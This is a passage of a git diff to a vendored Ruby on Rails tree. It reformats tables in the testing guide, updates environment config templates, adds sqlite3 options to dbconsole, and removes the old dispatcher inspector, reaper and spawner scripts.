)+ |Ensures that a string matches the regular expression. +|+assert_no_match( regexp, string, [msg] )+ |Ensures that a string doesn't matches the regular expression. +|+assert_in_delta( expecting, actual, delta, [msg] )+ |Ensures that the numbers `expecting` and `actual` are within `delta` of each other. +|+assert_throws( symbol, [msg] ) { block }+ |Ensures that the given block throws the symbol. +|+assert_raises( exception1, exception2, ... ) { block }+ |Ensures that the given block raises one of the given exceptions. +|+assert_nothing_raised( exception1, exception2, ... ) { block }+ |Ensures that the given block doesn't raise one of the given exceptions. +|+assert_instance_of( class, obj, [msg] )+ |Ensures that +obj+ is of the +class+ type. +|+assert_kind_of( class, obj, [msg] )+ |Ensures that +obj+ is or descends from +class+. +|+assert_respond_to( obj, symbol, [msg] )+ |Ensures that +obj+ has a method called +symbol+. +|+assert_operator( obj1, operator, obj2, [msg] )+ |Ensures that +obj1.operator(obj2)+ is true. +|+assert_send( array, [msg] )+ |Ensures that executing the method listed in +array[1]+ on the object in +array[0]+ with the parameters of +array[2 and up]+ is true. This one is weird eh? +|+flunk( [msg] )+ |Ensures failure. This is useful to explicitly mark a test that isn't finished yet. +|========================================================================================================================================= Because of the modular nature of the testing framework, it is possible to create your own assertions. In fact, that's exactly what Rails does. It includes some specialized assertions to make your life easier. @@ -437,19 +435,18 @@ NOTE: Creating your own assertions is an advanced topic that we won't cover in t Rails adds some custom assertions of its own to the +test/unit+ framework: -[grid="all"] -`----------------------------------------------------------------------------------`------------------------------------------------------- -Assertion Purpose ------------------------------------------------------------------------------------------------------------------------------------------- -+assert_valid(record)+ Ensures that the passed record is valid by Active Record standards and returns any error messages if it is not. -+assert_difference(expressions, difference = 1, message = nil) {|| ...}+ Test numeric difference between the return value of an expression as a result of what is evaluated in the yielded block. -+assert_no_difference(expressions, message = nil, &block)+ Asserts that the numeric result of evaluating an expression is not changed before and after invoking the passed in block. -+assert_recognizes(expected_options, path, extras={}, message=nil)+ Asserts that the routing of the given path was handled correctly and that the parsed options (given in the expected_options hash) match path. Basically, it asserts that Rails recognizes the route given by expected_options. -+assert_generates(expected_path, options, defaults={}, extras = {}, message=nil)+ Asserts that the provided options can be used to generate the provided path. This is the inverse of assert_recognizes. The extras parameter is used to tell the request the names and values of additional request parameters that would be in a query string. The message parameter allows you to specify a custom error message for assertion failures. -+assert_response(type, message = nil)+ Asserts that the response comes with a specific status code. You can specify +:success+ to indicate 200, +:redirect+ to indicate 300-399, +:missing+ to indicate 404, or +:error+ to match the 500-599 range -+assert_redirected_to(options = {}, message=nil)+ Assert that the redirection options passed in match those of the redirect called in the latest action. This match can be partial, such that +assert_redirected_to(:controller => "weblog")+ will also match the redirection of +redirect_to(:controller => "weblog", :action => "show")+ and so on. -+assert_template(expected = nil, message=nil)+ Asserts that the request was rendered with the appropriate template file. ------------------------------------------------------------------------------------------------------------------------------------------- +[options="header"] +|=========================================================================================================================================================== +|Assertion |Purpose +|+assert_valid(record)+ |Ensures that the passed record is valid by Active Record standards and returns any error messages if it is not. +|+assert_difference(expressions, difference = 1, message = nil) {...}+ |Test numeric difference between the return value of an expression as a result of what is evaluated in the yielded block. +|+assert_no_difference(expressions, message = nil, &block)+ |Asserts that the numeric result of evaluating an expression is not changed before and after invoking the passed in block. +|+assert_recognizes(expected_options, path, extras={}, message=nil)+ |Asserts that the routing of the given path was handled correctly and that the parsed options (given in the expected_options hash) match path. Basically, it asserts that Rails recognizes the route given by expected_options. +|+assert_generates(expected_path, options, defaults={}, extras = {}, message=nil)+ |Asserts that the provided options can be used to generate the provided path. This is the inverse of assert_recognizes. The extras parameter is used to tell the request the names and values of additional request parameters that would be in a query string. The message parameter allows you to specify a custom error message for assertion failures. +|+assert_response(type, message = nil)+ |Asserts that the response comes with a specific status code. You can specify +:success+ to indicate 200, +:redirect+ to indicate 300-399, +:missing+ to indicate 404, or +:error+ to match the 500-599 range +|+assert_redirected_to(options = {}, message=nil)+ |Assert that the redirection options passed in match those of the redirect called in the latest action. This match can be partial, such that +assert_redirected_to(:controller => "weblog")+ will also match the redirection of +redirect_to(:controller => "weblog", :action => "show")+ and so on. +|+assert_template(expected = nil, message=nil)+ |Asserts that the request was rendered with the appropriate template file. +|=========================================================================================================================================================== You'll see the usage of some of these assertions in the next chapter. @@ -595,7 +592,7 @@ For example, you could verify the contents on the title element in your response assert_select 'title', "Welcome to Rails Testing Guide" -------------------------------------------------- -You can also use nested +assert_select+ blocks. In this case the inner +assert_select+ will run the assertion on each element selected by the outer `assert_select` block: +You can also use nested +assert_select+ blocks. In this case the inner +assert_select+ runs the assertion on the complete collection of elements selected by the outer `assert_select` block: [source,ruby] -------------------------------------------------- @@ -604,21 +601,35 @@ assert_select 'ul.navigation' do end -------------------------------------------------- -The +assert_select+ assertion is quite powerful. For more advanced usage, refer to its link:http://api.rubyonrails.com/classes/ActionController/Assertions/SelectorAssertions.html#M000749[documentation]. +Alternatively the collection of elements selected by the outer +assert_select+ may be iterated through so that +assert_select+ may be called separately for each element. Suppose for example that the response contains two ordered lists, each with four list elements then the following tests will both pass. + +[source,ruby] +-------------------------------------------------- +assert_select "ol" do |elements| + elements.each do |element| + assert_select element, "li", 4 + end +end + +assert_select "ol" do + assert_select "li", 8 +end +-------------------------------------------------- + +The +assert_select+ assertion is quite powerful. For more advanced usage, refer to its link:http://api.rubyonrails.com/classes/ActionController/Assertions/SelectorAssertions.html[documentation]. ==== Additional View-based Assertions ==== There are more assertions that are primarily used in testing views: -[grid="all"] -`----------------------------------------------------------------------------------`------------------------------------------------------- -Assertion Purpose ------------------------------------------------------------------------------------------------------------------------------------------- -+assert_select_email+ Allows you to make assertions on the body of an e-mail. -+assert_select_rjs+ Allows you to make assertions on RJS response. +assert_select_rjs+ has variants which allow you to narrow down on the updated element or even a particular operation on an element. -+assert_select_encoded+ Allows you to make assertions on encoded HTML. It does this by un-encoding the contents of each element and then calling the block with all the un-encoded elements. -+css_select(selector)+ or +css_select(element, selector)+ Returns an array of all the elements selected by the _selector_. In the second variant it first matches the base _element_ and tries to match the _selector_ expression on any of its children. If there are no matches both variants return an empty array. ------------------------------------------------------------------------------------------------------------------------------------------- +[options="header"] +|========================================================================================================================================= +|Assertion |Purpose +|+assert_select_email+ |Allows you to make assertions on the body of an e-mail. +|+assert_select_rjs+ |Allows you to make assertions on RJS response. +assert_select_rjs+ has variants which allow you to narrow down on the updated element or even a particular operation on an element. +|+assert_select_encoded+ |Allows you to make assertions on encoded HTML. It does this by un-encoding the contents of each element and then calling the block with all the un-encoded elements. +|+css_select(selector)+ or +css_select(element, selector)+ |Returns an array of all the elements selected by the _selector_. In the second variant it first matches the base _element_ and tries to match the _selector_ expression on any of its children. If there are no matches both variants return an empty array. +|========================================================================================================================================= Here's an example of using +assert_select_email+: @@ -664,22 +675,21 @@ Integration tests inherit from +ActionController::IntegrationTest+. This makes a In addition to the standard testing helpers, there are some additional helpers available to integration tests: -[grid="all"] -`----------------------------------------------------------------------------------`------------------------------------------------------- -Helper Purpose ------------------------------------------------------------------------------------------------------------------------------------------- -+https?+ Returns +true+ if the session is mimicking a secure HTTPS request. -+https!+ Allows you to mimic a secure HTTPS request. -+host!+ Allows you to set the host name to use in the next request. -+redirect?+ Returns +true+ if the last request was a redirect. -+follow_redirect!+ Follows a single redirect response. -+request_via_redirect(http_method, path, [parameters], [headers])+ Allows you to make an HTTP request and follow any subsequent redirects. -+post_via_redirect(path, [parameters], [headers])+ Allows you to make an HTTP POST request and follow any subsequent redirects. -+get_via_redirect(path, [parameters], [headers])+ Allows you to make an HTTP GET request and follow any subsequent redirects. -+put_via_redirect(path, [parameters], [headers])+ Allows you to make an HTTP PUT request and follow any subsequent redirects. -+delete_via_redirect(path, [parameters], [headers])+ Allows you to make an HTTP DELETE request and follow any subsequent redirects. -+open_session+ Opens a new session instance. ------------------------------------------------------------------------------------------------------------------------------------------- +[options="header"] +|========================================================================================================================================= +|Helper |Purpose +|+https?+ |Returns +true+ if the session is mimicking a secure HTTPS request. +|+https!+ |Allows you to mimic a secure HTTPS request. +|+host!+ |Allows you to set the host name to use in the next request. +|+redirect?+ |Returns +true+ if the last request was a redirect. +|+follow_redirect!+ |Follows a single redirect response. +|+request_via_redirect(http_method, path, [parameters], [headers])+ |Allows you to make an HTTP request and follow any subsequent redirects. +|+post_via_redirect(path, [parameters], [headers])+ |Allows you to make an HTTP POST request and follow any subsequent redirects. +|+get_via_redirect(path, [parameters], [headers])+ |Allows you to make an HTTP GET request and follow any subsequent redirects. +|+put_via_redirect(path, [parameters], [headers])+ |Allows you to make an HTTP PUT request and follow any subsequent redirects. +|+delete_via_redirect(path, [parameters], [headers])+ |Allows you to make an HTTP DELETE request and follow any subsequent redirects. +|+open_session+ |Opens a new session instance. +|========================================================================================================================================= === Integration Testing Examples === @@ -767,18 +777,17 @@ end You don't need to set up and run your tests by hand on a test-by-test basis. Rails comes with a number of rake tasks to help in testing. The table below lists all rake tasks that come along in the default Rakefile when you initiate a Rail project. -[grid="all"] ---------------------------------`---------------------------------------------------- -Tasks Description ------------------------------------------------------------------------------------- -+rake test+ Runs all unit, functional and integration tests. You can also simply run +rake+ as the _test_ target is the default. -+rake test:units+ Runs all the unit tests from +test/unit+ -+rake test:functionals+ Runs all the functional tests from +test/functional+ -+rake test:integration+ Runs all the integration tests from +test/integration+ -+rake test:recent+ Tests recent changes -+rake test:uncommitted+ Runs all the tests which are uncommitted. Only supports Subversion -+rake test:plugins+ Run all the plugin tests from +vendor/plugins/*/**/test+ (or specify with +PLUGIN=_name_+) ------------------------------------------------------------------------------------- +[options="header"] +|=================================================================================== +|Tasks |Description +|+rake test+ |Runs all unit, functional and integration tests. You can also simply run +rake+ as the _test_ target is the default. +|+rake test:units+ |Runs all the unit tests from +test/unit+ +|+rake test:functionals+ |Runs all the functional tests from +test/functional+ +|+rake test:integration+ |Runs all the integration tests from +test/integration+ +|+rake test:recent+ |Tests recent changes +|+rake test:uncommitted+ |Runs all the tests which are uncommitted. Only supports Subversion +|+rake test:plugins+ |Run all the plugin tests from +vendor/plugins/*/**/test+ (or specify with +PLUGIN=_name_+) +|=================================================================================== == Brief Note About Test::Unit == @@ -983,7 +992,7 @@ The built-in +test/unit+ based testing is not the only way to test Rails applica * link:http://avdi.org/projects/nulldb/[NullDB], a way to speed up testing by avoiding database use. * link:http://github.com/thoughtbot/factory_girl/tree/master[Factory Girl], as replacement for fixtures. * link:http://www.thoughtbot.com/projects/shoulda[Shoulda], an extension to +test/unit+ with additional helpers, macros, and assertions. -* link: http://rspec.info/[RSpec], a behavior-driven development framework +* link:http://rspec.info/[RSpec], a behavior-driven development framework == Changelog == diff --git a/vendor/rails/railties/environments/environment.rb b/vendor/rails/railties/environments/environment.rb index 5cb20140..4a2df363 100644 --- a/vendor/rails/railties/environments/environment.rb +++ b/vendor/rails/railties/environments/environment.rb @@ -1,9 +1,5 @@ # Be sure to restart your server when you modify this file -# Uncomment below to force Rails into production mode when -# you don't control web/app server and can't set it the proper way -# ENV['RAILS_ENV'] ||= 'production' - # Specifies gem version of Rails to use when vendor/rails is not present <%= '# ' if freeze %>RAILS_GEM_VERSION = '<%= Rails::VERSION::STRING %>' unless defined? RAILS_GEM_VERSION @@ -14,62 +10,32 @@ Rails::Initializer.run do |config| # Settings in config/environments/* take precedence over those specified here. # Application configuration should go into files in config/initializers # -- all .rb files in that directory are automatically loaded. - # See Rails::Configuration for more options. - # Skip frameworks you're not going to use. To use Rails without a database - # you must remove the Active Record framework. - # config.frameworks -= [ :active_record, :active_resource, :action_mailer ] + # Add additional load paths for your own custom dirs + # config.load_paths += %W( #{RAILS_ROOT}/extras ) - # Specify gems that this application depends on. - # They can then be installed with "rake gems:install" on new installations. - # You have to specify the :lib option for libraries, where the Gem name (sqlite3-ruby) differs from the file itself (sqlite3) + # Specify gems that this application depends on and have them installed with rake gems:install # config.gem "bj" # config.gem "hpricot", :version => '0.6', :source => "http://code.whytheluckystiff.net" # config.gem "sqlite3-ruby", :lib => "sqlite3" # config.gem "aws-s3", :lib => "aws/s3" - # Only load the plugins named here, in the order given. By default, all plugins - # in vendor/plugins are loaded in alphabetical order. + # Only load the plugins named here, in the order given (default is alphabetical). # :all can be used as a placeholder for all plugins not explicitly named # config.plugins = [ :exception_notification, :ssl_requirement, :all ] - # Add additional load paths for your own custom dirs - # config.load_paths += %W( #{RAILS_ROOT}/extras ) - - # Force all environments to use the same logger level - # (by default production uses :info, the others :debug) - # config.log_level = :debug - - # Make Time.zone default to the specified zone, and make Active Record store time values - # in the database in UTC, and return them converted to the specified local zone. - # Run "rake -D time" for a list of tasks for finding time zone names. Comment line to use default local time. - config.time_zone = 'UTC' - - # The internationalization framework can be changed to have another default locale (standard is :en) or more load paths. - # All files from config/locales/*.rb,yml are added automatically. - # config.i18n.load_path << Dir[File.join(RAILS_ROOT, 'my', 'locales', '*.{rb,yml}')] - # config.i18n.default_locale = :de - - # Your secret key for verifying cookie session data integrity. - # If you change this key, all old sessions will become invalid! - # Make sure the secret is at least 30 characters and all random, - # no regular words or you'll be exposed to dictionary attacks. - config.action_controller.session = { - :session_key => '_<%= app_name %>_session', - :secret => '<%= app_secret %>' - } - - # Use the database for sessions instead of the cookie-based default, - # which shouldn't be used to store highly confidential information - # (create the session table with "rake db:sessions:create") - # config.action_controller.session_store = :active_record_store - - # Use SQL instead of Active Record's schema dumper when creating the test database. - # This is necessary if your schema can't be completely dumped by the schema dumper, - # like if you have constraints or database-specific column types - # config.active_record.schema_format = :sql + # Skip frameworks you're not going to use. To use Rails without a database, + # you must remove the Active Record framework. + # config.frameworks -= [ :active_record, :active_resource, :action_mailer ] # Activate observers that should always be running - # Please note that observers generated using script/generate observer need to have an _observer suffix # config.active_record.observers = :cacher, :garbage_collector, :forum_observer -end + + # Set Time.zone default to the specified zone and make Active Record auto-convert to this zone. + # Run "rake -D time" for a list of tasks for finding time zone names. + config.time_zone = 'UTC' + + # The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded. + # config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}')] + # config.i18n.default_locale = :de +end \ No newline at end of file diff --git a/vendor/rails/railties/environments/production.rb b/vendor/rails/railties/environments/production.rb index ec5b7bc8..1fc9f6b9 100644 --- a/vendor/rails/railties/environments/production.rb +++ b/vendor/rails/railties/environments/production.rb @@ -4,21 +4,24 @@ # Code is not reloaded between requests config.cache_classes = true -# Enable threaded mode -# config.threadsafe! - -# Use a different logger for distributed setups -# config.logger = SyslogLogger.new - # Full error reports are disabled and caching is turned on config.action_controller.consider_all_requests_local = false config.action_controller.perform_caching = true +# See everything in the log (default is :info) +# config.log_level = :debug + +# Use a different logger for distributed setups +# config.logger = SyslogLogger.new + # Use a different cache store in production # config.cache_store = :mem_cache_store # Enable serving of images, stylesheets, and javascripts from an asset server -# config.action_controller.asset_host = "http://assets.example.com" +# config.action_controller.asset_host = "http://assets.example.com" # Disable delivery errors, bad email addresses will be ignored # config.action_mailer.raise_delivery_errors = false + +# Enable threaded mode +# config.threadsafe! \ No newline at end of file diff --git a/vendor/rails/railties/environments/test.rb b/vendor/rails/railties/environments/test.rb index 1e709e1d..496eb957 100644 --- a/vendor/rails/railties/environments/test.rb +++ b/vendor/rails/railties/environments/test.rb @@ -20,3 +20,8 @@ config.action_controller.allow_forgery_protection = false # The :test delivery method accumulates sent emails in the # ActionMailer::Base.deliveries array. config.action_mailer.delivery_method = :test + +# Use SQL instead of Active Record's schema dumper when creating the test database. +# This is necessary if your schema can't be completely dumped by the schema dumper, +# like if you have constraints or database-specific column types +# config.active_record.schema_format = :sql \ No newline at end of file diff --git a/vendor/rails/railties/helpers/application.rb b/vendor/rails/railties/helpers/application.rb deleted file mode 100644 index 0a3ed822..00000000 --- a/vendor/rails/railties/helpers/application.rb +++ /dev/null @@ -1,15 +0,0 @@ -# Filters added to this controller apply to all controllers in the application. -# Likewise, all the methods added will be available for all controllers. - -class ApplicationController < ActionController::Base - helper :all # include all helpers, all the time - - # See ActionController::RequestForgeryProtection for details - # Uncomment the :secret if you're not using the cookie session store - protect_from_forgery # :secret => '<%= app_secret %>' - - # See ActionController::Base for details - # Uncomment this to filter the contents of submitted sensitive data parameters - # from your application log (in this case, all fields with names like "password"). - # filter_parameter_logging :password -end diff --git a/vendor/rails/railties/helpers/application_controller.rb b/vendor/rails/railties/helpers/application_controller.rb new file mode 100644 index 00000000..6635a3f4 --- /dev/null +++ b/vendor/rails/railties/helpers/application_controller.rb @@ -0,0 +1,10 @@ +# Filters added to this controller apply to all controllers in the application. +# Likewise, all the methods added will be available for all controllers. + +class ApplicationController < ActionController::Base + helper :all # include all helpers, all the time + protect_from_forgery # See ActionController::RequestForgeryProtection for details + + # Scrub sensitive parameters from your log + # filter_parameter_logging :password +end diff --git a/vendor/rails/railties/helpers/test_helper.rb b/vendor/rails/railties/helpers/test_helper.rb index 9f192695..b9fe2517 100644 --- a/vendor/rails/railties/helpers/test_helper.rb +++ b/vendor/rails/railties/helpers/test_helper.rb @@ -2,7 +2,7 @@ ENV["RAILS_ENV"] = "test" require File.expand_path(File.dirname(__FILE__) + "/../config/environment") require 'test_help' -class Test::Unit::TestCase +class ActiveSupport::TestCase # Transactional fixtures accelerate your tests by wrapping each test method # in a transaction that's rolled back on completion. This ensures that the # test database remains unchanged so your fixtures don't have to be reloaded diff --git a/vendor/rails/railties/html/index.html b/vendor/rails/railties/html/index.html index e84c3593..0dd5189f 100644 --- a/vendor/rails/railties/html/index.html +++ b/vendor/rails/railties/html/index.html @@ -229,6 +229,7 @@
  • Rails API
  • Ruby standard library
  • Ruby core
  • +
  • Rails Guides
  • diff --git a/vendor/rails/railties/lib/commands/about.rb b/vendor/rails/railties/lib/commands/about.rb index 7f53ac8a..bc2cfcb9 100644 --- a/vendor/rails/railties/lib/commands/about.rb +++ b/vendor/rails/railties/lib/commands/about.rb @@ -1,3 +1,3 @@ -require 'environment' +require "#{RAILS_ROOT}/config/environment" require 'rails/info' puts Rails::Info diff --git a/vendor/rails/railties/lib/commands/dbconsole.rb b/vendor/rails/railties/lib/commands/dbconsole.rb index 6ff895aa..8002264f 100644 --- a/vendor/rails/railties/lib/commands/dbconsole.rb +++ b/vendor/rails/railties/lib/commands/dbconsole.rb @@ -3,12 +3,23 @@ require 'yaml' require 'optparse' include_password = false +options = {} OptionParser.new do |opt| opt.banner = "Usage: dbconsole [options] [environment]" opt.on("-p", "--include-password", "Automatically provide the password from database.yml") do |v| include_password = true end + + opt.on("--mode [MODE]", ['html', 'list', 'line', 'column'], + "Automatically put the sqlite3 database in the specified mode (html, list, line, column).") do |mode| + options['mode'] = mode + end + + opt.on("-h", "--header") do |h| + options['header'] = h + end + opt.parse!(ARGV) abort opt.to_s unless (0..1).include?(ARGV.size) end @@ -41,7 +52,7 @@ when "mysql" if config['password'] && include_password args << "--password=#{config['password']}" - elsif config['password'] && !config['password'].empty? + elsif config['password'] && !config['password'].to_s.empty? args << "-p" end @@ -60,8 +71,13 @@ when "sqlite" exec(find_cmd('sqlite'), config["database"]) when "sqlite3" - exec(find_cmd('sqlite3'), config["database"]) + args = [] + args << "-#{options['mode']}" if options['mode'] + args << "-header" if options['header'] + args << config['database'] + + exec(find_cmd('sqlite3'), *args) else abort "Unknown command-line client for #{config['database']}. Submit a Rails patch to add support!" end diff --git a/vendor/rails/railties/lib/commands/performance/request.rb b/vendor/rails/railties/lib/commands/performance/request.rb deleted file mode 100755 index 17738864..00000000 --- a/vendor/rails/railties/lib/commands/performance/request.rb +++ /dev/null @@ -1,6 +0,0 @@ -#!/usr/bin/env ruby -require 'config/environment' -require 'application' -require 'action_controller/request_profiler' - -ActionController::RequestProfiler.run(ARGV) diff --git a/vendor/rails/railties/lib/commands/process/inspector.rb b/vendor/rails/railties/lib/commands/process/inspector.rb deleted file mode 100644 index 8a6437e7..00000000 --- a/vendor/rails/railties/lib/commands/process/inspector.rb +++ /dev/null @@ -1,68 +0,0 @@ -require 'optparse' - -if RUBY_PLATFORM =~ /(:?mswin|mingw)/ then abort("Inspector is only for Unix") end - -OPTIONS = { - :pid_path => File.expand_path(RAILS_ROOT + '/tmp/pids'), - :pattern => "dispatch.*.pid", - :ps => "ps -o pid,state,user,start,time,pcpu,vsz,majflt,command -p %s" -} - -class Inspector - def self.inspect(pid_path, pattern) - new(pid_path, pattern).inspect - end - - def initialize(pid_path, pattern) - @pid_path, @pattern = pid_path, pattern - end - - def inspect - header = `#{OPTIONS[:ps] % 1}`.split("\n")[0] + "\n" - lines = pids.collect { |pid| `#{OPTIONS[:ps] % pid}`.split("\n")[1] } - - puts(header + lines.join("\n")) - end - - private - def pids - pid_files.collect do |pid_file| - File.read(pid_file).to_i - end - end - - def pid_files - Dir.glob(@pid_path + "/" + @pattern) - end -end - - -ARGV.options do |opts| - opts.banner = "Usage: inspector [options]" - - opts.separator "" - - opts.on <<-EOF - Description: - Displays system information about Rails dispatchers (or other processes that use pid files) through - the ps command. - - Examples: - inspector # default ps on all tmp/pids/dispatch.*.pid files - inspector -s 'ps -o user,start,majflt,pcpu,vsz -p %s' # custom ps, %s is where the pid is interleaved - EOF - - opts.on(" Options:") - - opts.on("-s", "--ps=command", "default: #{OPTIONS[:ps]}", String) { |v| OPTIONS[:ps] = v } - opts.on("-p", "--pidpath=path", "default: #{OPTIONS[:pid_path]}", String) { |v| OPTIONS[:pid_path] = v } - opts.on("-r", "--pattern=pattern", "default: #{OPTIONS[:pattern]}", String) { |v| OPTIONS[:pattern] = v } - - opts.separator "" - - opts.on("-h", "--help", "Show this help message.") { puts opts; exit } - - opts.parse! -end - -Inspector.inspect(OPTIONS[:pid_path], OPTIONS[:pattern]) diff --git a/vendor/rails/railties/lib/commands/process/reaper.rb b/vendor/rails/railties/lib/commands/process/reaper.rb deleted file mode 100644 index 95175d41..00000000 --- a/vendor/rails/railties/lib/commands/process/reaper.rb +++ /dev/null @@ -1,149 +0,0 @@ -require 'optparse' -require 'net/http' -require 'uri' - -if RUBY_PLATFORM =~ /(:?mswin|mingw)/ then abort("Reaper is only for Unix") end - -class Killer - class << self - # Searches for all processes matching the given keywords, and then invokes - # a specific action on each of them. This is useful for (e.g.) reloading a - # set of processes: - # - # Killer.process(:reload, "/tmp/pids", "dispatcher.*.pid") - def process(action, pid_path, pattern, keyword) - new(pid_path, pattern, keyword).process(action) - end - - # Forces the (rails) application to reload by sending a +HUP+ signal to the - # process. - def reload(pid) - `kill -s HUP #{pid}` - end - - # Force the (rails) application to restart by sending a +USR2+ signal to the - # process. - def restart(pid) - `kill -s USR2 #{pid}` - end - - # Forces the (rails) application to gracefully terminate by sending a - # +TERM+ signal to the process. - def graceful(pid) - `kill -s TERM #{pid}` - end - - # Forces the (rails) application to terminate immediately by sending a -9 - # signal to the process. - def kill(pid) - `kill -9 #{pid}` - end - - # Send a +USR1+ signal to the process. - def usr1(pid) - `kill -s USR1 #{pid}` - end - end - - def initialize(pid_path, pattern, keyword=nil) - @pid_path, @pattern, @keyword = pid_path, pattern, keyword - end - - def process(action) - pids = find_processes - - if pids.empty? - warn "Couldn't find any pid file in '#{@pid_path}' matching '#{@pattern}'" - warn "(also looked for processes matching #{@keyword.inspect})" if @keyword - else - pids.each do |pid| - puts "#{action.capitalize}ing #{pid}" - self.class.send(action, pid) - end - - delete_pid_files if terminating?(action) - end - end - - private - def terminating?(action) - [ "kill", "graceful" ].include?(action) - end - - def find_processes - files = pid_files - if files.empty? - find_processes_via_grep - else - files.collect { |pid_file| File.read(pid_file).to_i } - end - end - - def find_processes_via_grep - lines = `ps axww -o 'pid command' | grep #{@keyword}`.split(/\n/). - reject { |line| line =~ /inq|ps axww|grep|spawn-fcgi|spawner|reaper/ } - lines.map { |line| line[/^\s*(\d+)/, 1].to_i } - end - - def delete_pid_files - pid_files.each { |pid_file| File.delete(pid_file) } - end - - def pid_files - Dir.glob(@pid_path + "/" + @pattern) - end -end - - -OPTIONS = { - :action => "restart", - :pid_path => File.expand_path(RAILS_ROOT + '/tmp/pids'), - :pattern => "dispatch.[0-9]*.pid", - :dispatcher => File.expand_path("#{RAILS_ROOT}/public/dispatch.fcgi") -} - -ARGV.options do |opts| - opts.banner = "Usage: reaper [options]" - - opts.separator "" - - opts.on <<-EOF - Description: - The reaper is used to restart, reload, gracefully exit, and forcefully exit processes - running a Rails Dispatcher (or any other process responding to the same signals). This - is commonly done when a new version of the application is available, so the existing - processes can be updated to use the latest code. - - It uses pid files to work on the processes and by default assume them to be located - in RAILS_ROOT/tmp/pids. - - The reaper actions are: - - * restart : Restarts the application by reloading both application and framework code - * reload : Only reloads the application, but not the framework (like the development environment) - * graceful: Marks all of the processes for exit after the next request - * kill : Forcefully exists all processes regardless of whether they're currently serving a request - - Restart is the most common and default action. - - Examples: - reaper # restarts the default dispatchers - reaper -a reload # reload the default dispatchers - reaper -a kill -r *.pid # kill all processes that keep pids in tmp/pids - EOF - - opts.on(" Options:") - - opts.on("-a", "--action=name", "reload|graceful|kill (default: #{OPTIONS[:action]})", String) { |v| OPTIONS[:action] = v } - opts.on("-p", "--pidpath=path", "default: #{OPTIONS[:pid_path]}", String) { |v| OPTIONS[:pid_path] = v } - opts.on("-r", "--pattern=pattern", "default: #{OPTIONS[:pattern]}", String) { |v| OPTIONS[:pattern] = v } - opts.on("-d", "--dispatcher=path", "DEPRECATED. default: #{OPTIONS[:dispatcher]}", String) { |v| OPTIONS[:dispatcher] = v } - - opts.separator "" - - opts.on("-h", "--help", "Show this help message.") { puts opts; exit } - - opts.parse! -end - -Killer.process(OPTIONS[:action], OPTIONS[:pid_path], OPTIONS[:pattern], OPTIONS[:dispatcher]) diff --git a/vendor/rails/railties/lib/commands/process/spawner.rb b/vendor/rails/railties/lib/commands/process/spawner.rb deleted file mode 100644 index 8bf47abb..00000000 --- a/vendor/rails/railties/lib/commands/process/spawner.rb +++ /dev/null @@ -1,219 +0,0 @@ -require 'active_support' -require 'optparse' -require 'socket' -require 'fileutils' - -def daemonize #:nodoc: - exit if fork # Parent exits, child continues. - Process.setsid # Become session leader. - exit if fork # Zap session leader. See [1]. - Dir.chdir "/" # Release old working directory. - File.umask 0000 # Ensure sensible umask. Adjust as needed. - STDIN.reopen "/dev/null" # Free file descriptors and - STDOUT.reopen "/dev/null", "a" # point them somewhere sensible. - STDERR.reopen STDOUT # STDOUT/ERR should better go to a logfile. -end - -class Spawner - def self.record_pid(name = "#{OPTIONS[:process]}.spawner", id = Process.pid) - FileUtils.mkdir_p(OPTIONS[:pids]) - File.open(File.expand_path(OPTIONS[:pids] + "/#{name}.pid"), "w+") { |f| f.write(id) } - end - - def self.spawn_all - OPTIONS[:instances].times do |i| - port = OPTIONS[:port] + i - print "Checking if something is already running on #{OPTIONS[:address]}:#{port}..." - - begin - srv = TCPServer.new(OPTIONS[:address], port) - srv.close - srv = nil - - puts "NO" - puts "Starting dispatcher on port: #{OPTIONS[:address]}:#{port}" - - FileUtils.mkdir_p(OPTIONS[:pids]) - spawn(port) - rescue - puts "YES" - end - end - end -end - -class FcgiSpawner < Spawner - def self.spawn(port) - cmd = "#{OPTIONS[:spawner]} -f #{OPTIONS[:dispatcher]} -p #{port} -P #{OPTIONS[:pids]}/#{OPTIONS[:process]}.#{port}.pid" - cmd << " -a #{OPTIONS[:address]}" if can_bind_to_custom_address? - system(cmd) - end - - def self.can_bind_to_custom_address? - @@can_bind_to_custom_address ||= /^\s-a\s/.match `#{OPTIONS[:spawner]} -h` - end -end - -class MongrelSpawner < Spawner - def self.spawn(port) - cmd = - "mongrel_rails start -d " + - "-a #{OPTIONS[:address]} " + - "-p #{port} " + - "-P #{OPTIONS[:pids]}/#{OPTIONS[:process]}.#{port}.pid " + - "-e #{OPTIONS[:environment]} " + - "-c #{OPTIONS[:rails_root]} " + - "-l #{OPTIONS[:rails_root]}/log/mongrel.log" - - # Add prefix functionality to spawner's call to mongrel_rails - # Digging through mongrel's project subversion server, the earliest - # Tag that has prefix implemented in the bin/mongrel_rails file - # is 0.3.15 which also happens to be the earliest tag listed. - # References: http://mongrel.rubyforge.org/svn/tags - if Mongrel::Const::MONGREL_VERSION.to_f >=0.3 && !OPTIONS[:prefix].nil? - cmd = cmd + " --prefix #{OPTIONS[:prefix]}" - end - system(cmd) - end - - def self.can_bind_to_custom_address? - true - end -end - - -begin - require_library_or_gem 'fcgi' -rescue Exception - # FCGI not available -end - -begin - require_library_or_gem 'mongrel' -rescue Exception - # Mongrel not available -end - -server = case ARGV.first - when "fcgi", "mongrel" - ARGV.shift - else - if defined?(Mongrel) - "mongrel" - elsif RUBY_PLATFORM !~ /(:?mswin|mingw)/ && !silence_stderr { `spawn-fcgi -version` }.blank? && defined?(FCGI) - "fcgi" - end -end - -case server - when "fcgi" - puts "=> Starting FCGI dispatchers" - spawner_class = FcgiSpawner - when "mongrel" - puts "=> Starting mongrel dispatchers" - spawner_class = MongrelSpawner - else - puts "Neither FCGI (spawn-fcgi) nor Mongrel was installed and available!" - exit(0) -end - - - -OPTIONS = { - :environment => "production", - :spawner => '/usr/bin/env spawn-fcgi', - :dispatcher => File.expand_path(RELATIVE_RAILS_ROOT + '/public/dispatch.fcgi'), - :pids => File.expand_path(RELATIVE_RAILS_ROOT + "/tmp/pids"), - :rails_root => File.expand_path(RELATIVE_RAILS_ROOT), - :process => "dispatch", - :port => 8000, - :address => '0.0.0.0', - :instances => 3, - :repeat => nil, - :prefix => nil -} - -ARGV.options do |opts| - opts.banner = "Usage: spawner [platform] [options]" - - opts.separator "" - - opts.on <<-EOF - Description: - The spawner is a wrapper for spawn-fcgi and mongrel that makes it - easier to start multiple processes running the Rails dispatcher. The - spawn-fcgi command is included with the lighttpd web server, but can - be used with both Apache and lighttpd (and any other web server - supporting externally managed FCGI processes). Mongrel automatically - ships with with mongrel_rails for 